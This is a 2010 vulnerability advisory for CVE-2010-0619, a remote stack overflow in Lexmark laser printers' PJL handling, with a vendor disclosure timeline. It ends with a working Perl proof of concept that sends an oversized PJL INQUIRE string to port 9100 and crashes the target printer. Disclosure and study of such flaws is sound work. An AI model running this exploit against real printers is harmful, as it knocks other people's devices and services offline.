########################################################################
#############
Application: Lexmark Multiple Laser Printer Remote Stack Overflow
Platforms: Lexmark Multiple Laser printer
Exploitation: Remote Exploitable
CVE Number: CVE-2010-0619
Discover Date: 2010-01-06
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com
########################################################################
#############
1) Introduction
2) Report Timeline
3) Technical details
4) Products affected
5) The Code
########################################################################
#############
=================
1) Introduction
=================
Lexmark specializes in printers and printer accessories. Its current
range of products includes color and monochrome laser printers and
inkjet printers, both of which may include scanners (including
all-in-one devices with faxing and copying capabilities and photo
printers), and dot matrix printers. Lexmark was one of the first
companies to release wifi inkjet printers and the very first to
release printers with a web-enabled touchscreen, coming in early
September of 2009. They also offer a wide variety of laser printers
with software solutions for more professional printing environments.
(Wikipedia)
########################################################################
#############
====================
2) Report Timeline
====================
2010-01-06 Vendor Contacted
2010-01-09 Vendor Response
2010-01-09 Vendor request a PoC
2010-01-10 PoC is sent to the vendor
2010-01-12 Vendor confirme they received PoC
2010-01-13 Vendor confirm the vulnerability
2010-03-22 Public release of this advisory
########################################################################
#############
======================
3) Technical details
======================
Multiple Lexmark Laser Printers contain remote stack overflow
vulnerabilities in their PJL processing functionality. These
vulnerabilities could lead to remote code execution on the printer
without authentication. Device freezes when a specialy PLJ request is
sent to the daemon with an invalid argument on PJL INQUIRE command.
########################################################################
#############
=====================
4) Product affected
=====================
The list is too long, you can found information on the Lexmark web site;
http://support.lexmark.com/alerts
########################################################################
#############
=============
5) The Code
=============
#!/usr/bin/perl -w
# Found by Francis Provencher for Protek Research Lab's
# {PRL} Lexmark Multiple Laser Printer Remote Stack Overflow PoC
#
# This PoC will completly DoS the printer and all is services, Use it
at your own risk.
#
use IO::Socket;
if (@ARGV < 1){
exit
}
$ip = $ARGV[0];
#open the socket
my $sock = new IO::Socket::INET (
PeerAddr => $ip,
PeerPort => '9100',
Proto => 'tcp',
);
$sock or die "no socket :$!";
send($sock, "\033%-12345X\@PJL INQUIRE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA\r\n",0);
close $sock;
########################################################################
#############
(PRL-2010-01)